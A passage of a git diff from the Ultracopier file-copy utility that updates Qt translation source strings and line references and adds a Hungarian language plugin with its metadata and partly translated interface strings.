+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.ui" line="554"/>
<source>Themes:</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="555"/>
+ <location filename="../../../OptionDialog.ui" line="616"/>
<source>Unable to load the themes plugin</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="655"/>
+ <location filename="../../../OptionDialog.ui" line="716"/>
<source>Browse</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="687"/>
- <location filename="../../../OptionDialog.ui" line="700"/>
+ <location filename="../../../OptionDialog.ui" line="741"/>
+ <source>Write the transfers</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.ui" line="748"/>
<source>The variables are %time%, %source%, %size%, %destination%</source>
- <extracomment>%time%, %source%, %size%, %destination% should not be translated
-----------
-%time%, %source%, %size%, %destination% should not be translated</extracomment>
+ <extracomment>%time%, %source%, %size%, %destination% should not be translated</extracomment>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="717"/>
- <location filename="../../../OptionDialog.ui" line="730"/>
+ <location filename="../../../OptionDialog.ui" line="771"/>
+ <source>Write the errors</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.ui" line="778"/>
<source>The variables are %time%, %path%, %size%, %mtime%, %error%</source>
- <extracomment>%time%, %path%, %size%, %mtime%, %error% should not be translated
-----------
-%time%, %path%, %size%, %mtime%, %error% should not be translated</extracomment>
+ <extracomment>%time%, %path%, %size%, %mtime%, %error% should not be translated</extracomment>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="636"/>
+ <location filename="../../../OptionDialog.ui" line="697"/>
<source>Write the log file into:</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="680"/>
- <source>Write the transfers:</source>
+ <location filename="../../../OptionDialog.ui" line="728"/>
+ <source>Write directly to the file when it receive a new entry (can produce 50% of lost of performance)</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="710"/>
- <source>Write the errors:</source>
+ <location filename="../../../OptionDialog.cpp" line="260"/>
+ <location filename="../../../OptionDialog.cpp" line="274"/>
+ <source>Load</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="740"/>
- <source>Write the folder operations:</source>
+ <location filename="../../../OptionDialog.cpp" line="260"/>
+ <source>Load the theme?</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.cpp" line="190"/>
- <location filename="../../../OptionDialog.cpp" line="191"/>
- <location filename="../../../OptionDialog.cpp" line="321"/>
- <location filename="../../../OptionDialog.cpp" line="322"/>
- <source>Disabled because you have any SessionLoader plugin</source>
+ <location filename="../../../OptionDialog.cpp" line="274"/>
+ <source>Load the language?</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.cpp" line="192"/>
+ <location filename="../../../OptionDialog.cpp" line="362"/>
<source>Do nothing</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.cpp" line="193"/>
+ <location filename="../../../OptionDialog.cpp" line="363"/>
<source>Ask source as folder</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.cpp" line="194"/>
+ <location filename="../../../OptionDialog.cpp" line="364"/>
<source>Ask sources as files</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.cpp" line="195"/>
+ <location filename="../../../OptionDialog.cpp" line="365"/>
<source>Never</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.cpp" line="196"/>
+ <location filename="../../../OptionDialog.cpp" line="366"/>
<source>When source is same</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.cpp" line="197"/>
+ <location filename="../../../OptionDialog.cpp" line="367"/>
<source>When destination is same</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.cpp" line="198"/>
+ <location filename="../../../OptionDialog.cpp" line="368"/>
<source>When source and destination are same</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.cpp" line="199"/>
+ <location filename="../../../OptionDialog.cpp" line="369"/>
<source>When source or destination are same</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.cpp" line="200"/>
+ <location filename="../../../OptionDialog.cpp" line="370"/>
<source>Always</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.cpp" line="792"/>
- <source>Save logs as: </source>
+ <location filename="../../../OptionDialog.cpp" line="384"/>
+ <location filename="../../../OptionDialog.cpp" line="385"/>
+ <location filename="../../../OptionDialog.cpp" line="386"/>
+ <source>The variables are %1</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="667"/>
- <source>This write directly the file when it receive the new entry, but it can produce 50% of lost of performance</source>
+ <location filename="../../../OptionDialog.cpp" line="478"/>
+ <source>Allow the application</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="670"/>
- <source>Synchronized log</source>
+ <location filename="../../../OptionDialog.cpp" line="478"/>
+ <source>This Ultimate free version is only if %1 is allowed by your antivirus. Else you can get the normal free version</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="169"/>
- <source>When manual open:</source>
+ <location filename="../../../OptionDialog.cpp" line="483"/>
+ <source>Enable the OpenCL</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="229"/>
- <source>Group the windows when:</source>
+ <location filename="../../../OptionDialog.cpp" line="483"/>
+ <source>This Ultimate version is only if the OpenCL is installed with your graphic card drivers. Else you can get the normal free version</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.cpp" line="1591"/>
+ <source>Save logs as: </source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.ui" line="731"/>
+ <source>Synchronized log</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="605"/>
+ <location filename="../../../OptionDialog.ui" line="666"/>
<source>No option for this plugin</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="750"/>
- <location filename="../../../OptionDialog.ui" line="763"/>
+ <location filename="../../../OptionDialog.ui" line="801"/>
+ <source>Write the folder operations</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.ui" line="811"/>
<source>The variables are %path%, %operation%</source>
- <extracomment>%path%, %operation% should not be translated
-----------
-%path%, %operation% should not be translated</extracomment>
+ <extracomment>%path%, %operation% should not be translated</extracomment>
<translation type="unfinished"></translation>
</message>
</context>
<context>
<name>OptionEngine</name>
<message>
- <location filename="../../../OptionEngine.cpp" line="154"/>
- <location filename="../../../OptionEngine.cpp" line="158"/>
- <location filename="../../../OptionEngine.cpp" line="195"/>
- <location filename="../../../OptionEngine.cpp" line="199"/>
- <source>Try get variable, but the variable is not found: %1 %2</source>
+ <location filename="../../../OptionEngine.cpp" line="161"/>
+ <location filename="../../../OptionEngine.cpp" line="165"/>
+ <location filename="../../../OptionEngine.cpp" line="202"/>
+ <location filename="../../../OptionEngine.cpp" line="206"/>
+ <source>The variable was not found: %1 %2</source>
<translation type="unfinished"></translation>
</message>
</context>
@@ -823,37 +1026,42 @@ This version is compiled as version: %1.</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../PluginInformation.cpp" line="40"/>
- <source>CopyEngine</source>
+ <location filename="../../../PluginInformation.cpp" line="38"/>
+ <source>Copy engine</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../PluginInformation.cpp" line="43"/>
+ <location filename="../../../PluginInformation.cpp" line="41"/>
<source>Languages</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../PluginInformation.cpp" line="46"/>
+ <location filename="../../../PluginInformation.cpp" line="44"/>
<source>Listener</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../PluginInformation.cpp" line="49"/>
- <source>PluginLoader</source>
+ <location filename="../../../PluginInformation.cpp" line="47"/>
+ <source>Plugin loader</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../PluginInformation.cpp" line="52"/>
- <source>SessionLoader</source>
+ <location filename="../../../PluginInformation.cpp" line="50"/>
+ <source>Session loader</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../PluginInformation.cpp" line="55"/>
+ <location filename="../../../PluginInformation.cpp" line="53"/>
<source>Themes</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../PluginInformation.cpp" line="69"/>
+ <location filename="../../../PluginInformation.cpp" line="57"/>
+ <source>Unknown</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../PluginInformation.cpp" line="67"/>
<source>Information about %1</source>
<translation type="unfinished"></translation>
</message>
@@ -871,140 +1079,140 @@ This version is compiled as version: %1.</source>
<context>
<name>PluginsManager</name>
<message>
- <location filename="../../../PluginsManager.cpp" line="208"/>
+ <location filename="../../../PluginsManager.cpp" line="221"/>
<source>informations.xml is not accessible</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="214"/>
- <source>informations.xml not found into the plugin</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../../PluginsManager.cpp" line="474"/>
+ <location filename="../../../PluginsManager.cpp" line="487"/>
<source>Dependencies part is wrong</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="493"/>
+ <location filename="../../../PluginsManager.cpp" line="508"/>
<source>Dependencies %1 are not satisfied, for plugin: %2</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="634"/>
+ <location filename="../../../PluginsManager.cpp" line="665"/>
<source>Remove %1</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="645"/>
+ <location filename="../../../PluginsManager.cpp" line="676"/>
<source>Error</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="669"/>
+ <location filename="../../../PluginsManager.cpp" line="700"/>
<source>Information</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="242"/>
+ <location filename="../../../PluginsManager.cpp" line="253"/>
<source>%1, parse error at line %2, column %3: %4</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="250"/>
+ <location filename="../../../PluginsManager.cpp" line="227"/>
+ <source>informations.xml not found for the plugin</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../PluginsManager.cpp" line="261"/>
<source>&quot;package&quot; root tag not found for the xml file</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="326"/>
+ <location filename="../../../PluginsManager.cpp" line="337"/>
<source>Duplicated plugin found, already loaded!</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="384"/>
- <source>English text missing into the informations.xml for the tag: %1</source>
+ <location filename="../../../PluginsManager.cpp" line="395"/>
+ <source>English text missing in the informations.xml for the tag: %1</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="392"/>
+ <location filename="../../../PluginsManager.cpp" line="403"/>
<source>Tag not found: %1</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="634"/>
+ <location filename="../../../PluginsManager.cpp" line="665"/>
<source>Are you sure about removing &quot;%1&quot; in version %2?</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="645"/>
+ <location filename="../../../PluginsManager.cpp" line="676"/>
<source>Error while the removing plugin, please check the rights on the folder:
%1</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="669"/>
+ <location filename="../../../PluginsManager.cpp" line="700"/>
<source>Previous import is in progress...</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="672"/>
+ <location filename="../../../PluginsManager.cpp" line="703"/>
<source>Open Ultracopier plugin</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="672"/>
+ <location filename="../../../PluginsManager.cpp" line="703"/>
<source>Ultracopier plugin (*.urc)</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="685"/>
- <location filename="../../../PluginsManager.cpp" line="708"/>
- <location filename="../../../PluginsManager.cpp" line="775"/>
- <location filename="../../../PluginsManager.cpp" line="788"/>
- <location filename="../../../PluginsManager.cpp" line="806"/>
- <location filename="../../../PluginsManager.cpp" line="812"/>
- <location filename="../../../PluginsManager.cpp" line="818"/>
- <location filename="../../../PluginsManager.cpp" line="824"/>
- <location filename="../../../PluginsManager.cpp" line="830"/>
- <location filename="../../../PluginsManager.cpp" line="837"/>
+ <location filename="../../../PluginsManager.cpp" line="720"/>
+ <location filename="../../../PluginsManager.cpp" line="745"/>
+ <location filename="../../../PluginsManager.cpp" line="813"/>
+ <location filename="../../../PluginsManager.cpp" line="826"/>
+ <location filename="../../../PluginsManager.cpp" line="845"/>
+ <location filename="../../../PluginsManager.cpp" line="851"/>
+ <location filename="../../../PluginsManager.cpp" line="857"/>
+ <location filename="../../../PluginsManager.cpp" line="863"/>
+ <location filename="../../../PluginsManager.cpp" line="869"/>
+ <location filename="../../../PluginsManager.cpp" line="876"/>
<source>Plugin loader</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="685"/>
+ <location filename="../../../PluginsManager.cpp" line="720"/>
<source>Unable to open the plugin: %1</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="708"/>
- <location filename="../../../PluginsManager.cpp" line="824"/>
- <location filename="../../../PluginsManager.cpp" line="837"/>
+ <location filename="../../../PluginsManager.cpp" line="745"/>
+ <location filename="../../../PluginsManager.cpp" line="863"/>
+ <location filename="../../../PluginsManager.cpp" line="876"/>
<source>Unable to load the plugin content, please check it: %1</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="775"/>
+ <location filename="../../../PluginsManager.cpp" line="813"/>
<source>Unable to create a folder to install the plugin:
%1</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="788"/>
+ <location filename="../../../PluginsManager.cpp" line="826"/>
<source>Unable to create a file to install the plugin:
%1
since:%2</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="806"/>
+ <location filename="../../../PluginsManager.cpp" line="845"/>
<source>Folder with same name is present, skip the plugin installation:
%1</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="812"/>
- <location filename="../../../PluginsManager.cpp" line="818"/>
- <location filename="../../../PluginsManager.cpp" line="830"/>
+ <location filename="../../../PluginsManager.cpp" line="851"/>
+ <location filename="../../../PluginsManager.cpp" line="857"/>
+ <location filename="../../../PluginsManager.cpp" line="869"/>
<source>Unable to load the plugin content, please check it</source>
<translation type="unfinished"></translation>
</message>
@@ -1012,44 +1220,44 @@ since:%2</source>
<context>
<name>QXzDecode</name>
<message>
- <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="40"/>
- <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="95"/>
+ <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="38"/>
+ <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="93"/>
<source>Memory allocation failed</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="66"/>
- <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="84"/>
+ <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="64"/>
+ <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="82"/>
<source>Write error</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="99"/>
+ <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="97"/>
<source>Memory usage limit reached</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="103"/>
+ <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="101"/>
<source>Not a .xz file</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="107"/>
+ <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="105"/>
<source>Unsupported options in the .xz headers</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="112"/>
+ <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="110"/>
<source>The file is corrupted</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="116"/>
+ <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="114"/>
<source>Bug!</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="126"/>
+ <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="124"/>
<source>The input data is too short</source>
<translation type="unfinished"></translation>
</message>
@@ -1057,85 +1265,117 @@ since:%2</source>
<context>
<name>SystrayIcon</name>
<message>
- <location filename="../../../SystrayIcon.cpp" line="110"/>
+ <location filename="../../../SystrayIcon.cpp" line="163"/>
<source>No copy listener found. Do the copy manually by right click one the system tray icon.</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../SystrayIcon.cpp" line="116"/>
+ <location filename="../../../SystrayIcon.cpp" line="169"/>
<source>Information</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../SystrayIcon.cpp" line="127"/>
- <source>Searching informations...</source>
+ <location filename="../../../SystrayIcon.cpp" line="187"/>
+ <source>Searching information...</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../SystrayIcon.cpp" line="140"/>
- <source>Not catching the explorer copy/move</source>
+ <location filename="../../../SystrayIcon.cpp" line="200"/>
+ <source>Do not replace the explorer copy/move</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../SystrayIcon.cpp" line="145"/>
- <source>Semi catching the explorer copy/move</source>
+ <location filename="../../../SystrayIcon.cpp" line="205"/>
+ <source>Semi replace the explorer copy/move</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../SystrayIcon.cpp" line="150"/>
- <source>Catching the explorer copy/move</source>
+ <location filename="../../../SystrayIcon.cpp" line="210"/>
+ <source>Replace the explorer copy/move</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../SystrayIcon.cpp" line="308"/>
+ <location filename="../../../SystrayIcon.cpp" line="377"/>
<source>Warning</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../SystrayIcon.cpp" line="308"/>
- <source>Action on the systray icon is unknown!</source>
+ <location filename="../../../SystrayIcon.cpp" line="377"/>
+ <source>The action on the systray icon is unknown!</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../SystrayIcon.cpp" line="356"/>
+ <location filename="../../../SystrayIcon.cpp" line="425"/>
<source>&amp;About/Debug report</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../SystrayIcon.cpp" line="358"/>
+ <location filename="../../../SystrayIcon.cpp" line="427"/>
<source>&amp;About</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../SystrayIcon.cpp" line="360"/>
+ <location filename="../../../SystrayIcon.cpp" line="430"/>
+ <source>&amp;Save bug report</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../SystrayIcon.cpp" line="432"/>
<source>&amp;Quit</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../SystrayIcon.cpp" line="361"/>
+ <location filename="../../../SystrayIcon.cpp" line="433"/>
<source>&amp;Options</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../SystrayIcon.cpp" line="362"/>
+ <location filename="../../../SystrayIcon.cpp" line="485"/>
<source>A&amp;dd copy/moving</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../SystrayIcon.cpp" line="407"/>
- <location filename="../../../SystrayIcon.cpp" line="429"/>
+ <location filename="../../../SystrayIcon.cpp" line="471"/>
+ <source>New version: %1</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../SystrayIcon.cpp" line="471"/>
+ <source>Click here to go on download page</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../SystrayIcon.cpp" line="511"/>
+ <source>&amp;Copy</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../SystrayIcon.cpp" line="525"/>
+ <location filename="../../../SystrayIcon.cpp" line="539"/>
+ <source>&amp;Transfer</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../SystrayIcon.cpp" line="529"/>
+ <location filename="../../../SystrayIcon.cpp" line="543"/>
+ <source>&amp;Move</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../SystrayIcon.cpp" line="560"/>
+ <location filename="../../../SystrayIcon.cpp" line="577"/>
<source>Add &amp;copy</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../SystrayIcon.cpp" line="413"/>
- <location filename="../../../SystrayIcon.cpp" line="435"/>
+ <location filename="../../../SystrayIcon.cpp" line="566"/>
+ <location filename="../../../SystrayIcon.cpp" line="583"/>
<source>Add &amp;transfer</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../SystrayIcon.cpp" line="417"/>
- <location filename="../../../SystrayIcon.cpp" line="439"/>
+ <location filename="../../../SystrayIcon.cpp" line="570"/>
+ <location filename="../../../SystrayIcon.cpp" line="587"/>
<source>Add &amp;move</source>
<translation type="unfinished"></translation>
</message>
diff --git a/plugins/Languages/hu/flag.png b/plugins/Languages/hu/flag.png
new file mode 100644
index 0000000..5115e8a
--- /dev/null
+++ b/plugins/Languages/hu/flag.png
Binary files differ
diff --git a/plugins/Languages/hu/informations.xml b/plugins/Languages/hu/informations.xml
new file mode 100644
index 0000000..19a1b38
--- /dev/null
+++ b/plugins/Languages/hu/informations.xml
@@ -0,0 +1,29 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<package>
+ <title xml:lang="en"><![CDATA[Hungarian translation of Ultracopier]]></title><!-- english is required -->
+ <!-- What kind of plugin this is -->
+ <category>Languages</category>
+ <!-- Who wrote this plugin -->
+ <author><![CDATA[BRULE Herman, alpha_one_x86 (alpha_one_x86@first-world.info)]]></author>
+ <!-- URL of page or site for this plugin (may provide additional information, bug reports, feature requests). -->
+ <website xml:lang="en"><![CDATA[http://ultracopier-fr.first-world.info/]]></website><!-- not required -->
+ <!-- the date-time format should be in timestamps format -->
+ <pubDate>1287496800</pubDate>
+ <!-- Detailed description -->
+ <description xml:lang="en"><![CDATA[Hungarian translation of Ultracopier]]></description>
+ <!-- Version of this release of this plugin, need be like that's: A.B.C.D, where A, B, C and D is number -->
+ <version>1.2.3.6</version>
+ <!-- This internal name should never change, because it is used to detect when a particular plugin is updated. It must comprise only lower case ASCII characters (a-z), numerical digits (0-9), "-", "." or "_", and it must be be unique within the category. And have size lower than 64 char. -->
+ <name>hu</name>
+ <!-- Dependency checking. This is used to check when a plugin may not be compatible with an updated version of either Ultracopier or another plugin. This example only checks Ultracopier. -->
+ <dependencies><![CDATA[
+ ]]></dependencies>
+ <!-- Additional information that is specific to the category (in this case Language). -->
+ <categorySpecific>
+ <!-- The full name in the language we're translating to. -->
+ <fullName><![CDATA[Magyar]]></fullName>
+ <!-- No short name, for do translation not found and leave un-translated -->
+ <!-- Short name, language ISO code -->
+ <shortName mainCode="true"><![CDATA[hu]]></shortName>
+ </categorySpecific>
+</package> \ No newline at end of file
diff --git a/plugins/Languages/hu/translation.ts b/plugins/Languages/hu/translation.ts
new file mode 100644
index 0000000..a78377e
--- /dev/null
+++ b/plugins/Languages/hu/translation.ts
@@ -0,0 +1,1412 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!DOCTYPE TS>
+<TS version="2.0" language="hu">
+<context>
+ <name>CliParser</name>
+ <message>
+ <location filename="../../../CliParser.cpp" line="25"/>
+ <location filename="../../../CliParser.cpp" line="71"/>
+ <location filename="../../../CliParser.cpp" line="84"/>
+ <location filename="../../../CliParser.cpp" line="94"/>
+ <location filename="../../../CliParser.cpp" line="179"/>
+ <source>Warning</source>
+ <translation>Figyelmeztetés</translation>
+ </message>
+ <message>
+ <location filename="../../../CliParser.cpp" line="25"/>
+ <source>Ultracopier is already running, right click on its system tray icon (near the clock) to use it</source>
+ <translation>Az Ultracopier már fut, kattints a jobb egérombbal a tálcaikonjára (az óra mellett) a használatához</translation>
+ </message>
+ <message>
+ <location filename="../../../CliParser.cpp" line="71"/>
+ <source>Problem reading file, or file size is 0</source>
+ <translation>Probléma a fájl olvasásánál vagy a fájlméret 0</translation>
+ </message>
+ <message>
+ <location filename="../../../CliParser.cpp" line="159"/>
+ <location filename="../../../CliParser.cpp" line="170"/>
+ <source>The arguments possible are:</source>
+ <translation>A lehetséges argumentumok:</translation>
+ </message>
+ <message>
+ <location filename="../../../CliParser.cpp" line="161"/>
+ <location filename="../../../CliParser.cpp" line="172"/>
+ <source>To display the options</source>
+ <translation>A beállítások megjelenítéséhez</translation>
+ </message>
+ <message>
+ <location filename="../../../CliParser.cpp" line="162"/>
+ <location filename="../../../CliParser.cpp" line="173"/>
+ <source>To quit the other instances (if running)</source>
+ <translation>Kilépés a többi példányból (ha fut)</translation>
+ </message>
+ <message>
+ <location filename="../../../CliParser.cpp" line="164"/>
+ <location filename="../../../CliParser.cpp" line="175"/>
+ <source>To copy sources to destination, separated by space. If destination is &quot;?&quot;, ultracopier will ask the user</source>
+ <translation>A forrás másolása a célba, szóközzel elválasztva. Ha a cél &quot;?&quot;, az Ultracopier rákérdez a felhasználónál</translation>
+ </message>
+ <message>
+ <location filename="../../../CliParser.cpp" line="165"/>
+ <location filename="../../../CliParser.cpp" line="176"/>
+ <source>To move sources to destination, separated by space. If destination is &quot;?&quot;, ultracopier will ask the user</source>
+ <translation>A forrás mozgatása a célba, szóközzel elválasztva. Ha a cél &quot;?&quot;, az Ultracopier rákérdez a felhasználónál</translation>
+ </message>
+ <message>
+ <location filename="../../../CliParser.cpp" line="169"/>
+ <source>Command not valid</source>
+ <translation>A parancs nem érvényes</translation>
+ </message>
+ <message>
+ <location filename="../../../CliParser.cpp" line="84"/>
+ <source>This file is not supported transfer list</source>
+ <translation>Ez a fájl nem támogatott átviteli lista</translation>
+ </message>
+ <message>
+ <location filename="../../../CliParser.cpp" line="94"/>
+ <source>Unable to open the transfer list file</source>
+ <translation>Az átviteli listafájl megnyitása nem lehetséges</translation>
+ </message>
+ <message>
+ <location filename="../../../CliParser.cpp" line="160"/>
+ <location filename="../../../CliParser.cpp" line="171"/>
+ <source>To display this help</source>
+ <translation>Ennek a súgónak a megjelenítéséhez</translation>
+ </message>
+ <message>
+ <location filename="../../../CliParser.cpp" line="163"/>
+ <location filename="../../../CliParser.cpp" line="174"/>
+ <source>Open transfer list</source>
+ <translation>Átviteli lista megnyitása</translation>
+ </message>
+ <message>
+ <location filename="../../../CliParser.cpp" line="181"/>
+ <source>Help</source>
+ <translation>Súgó</translation>
+ </message>
+</context>
+<context>
+ <name>CopyEngineManager</name>
+ <message>
+ <location filename="../../../CopyEngineManager.cpp" line="229"/>
+ <location filename="../../../CopyEngineManager.cpp" line="234"/>
+ <location filename="../../../CopyEngineManager.cpp" line="257"/>
+ <location filename="../../../CopyEngineManager.cpp" line="271"/>
+ <source>Warning</source>
+ <translation>Figyelmzetetés</translation>
+ </message>
+ <message>
+ <location filename="../../../CopyEngineManager.cpp" line="229"/>
+ <source>Cannot find any copy engine with move support</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../CopyEngineManager.cpp" line="257"/>
+ <source>This copy engine does not support move</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <source>Cannot find any copy engine with motions support</source>
+ <translation type="obsolete">Nem található másolási motor mozgatási támogatással</translation>
+ </message>
+ <message>
+ <location filename="../../../CopyEngineManager.cpp" line="234"/>
+ <source>Cannot find any compatible engine!</source>
+ <translation>Nem található semmilyen kompatibilis motor!</translation>
+ </message>
+ <message>
+ <source>This copy engine does not support motions</source>
+ <translation type="obsolete">Ez a másoló motor nem támogatja a mozgatást</translation>
+ </message>
+ <message>
+ <location filename="../../../CopyEngineManager.cpp" line="271"/>
+ <source>Cannot find any engine with this name: %1</source>
+ <translation>Nem található motor ezzel a névvel: %1</translation>
+ </message>
+</context>
+<context>
+ <name>CopyListener</name>
+ <message>
+ <location filename="../../../CopyListener.cpp" line="158"/>
+ <source>Error</source>
+ <translation>Hiba</translation>
+ </message>
+ <message>
+ <location filename="../../../CopyListener.cpp" line="158"/>
+ <source>Error during the reception of the copy/move list
+%1</source>
+ <translation>Hiba a másolási/mozgatási lista fogadásakor
+%1</translation>
+ </message>
+</context>
+<context>
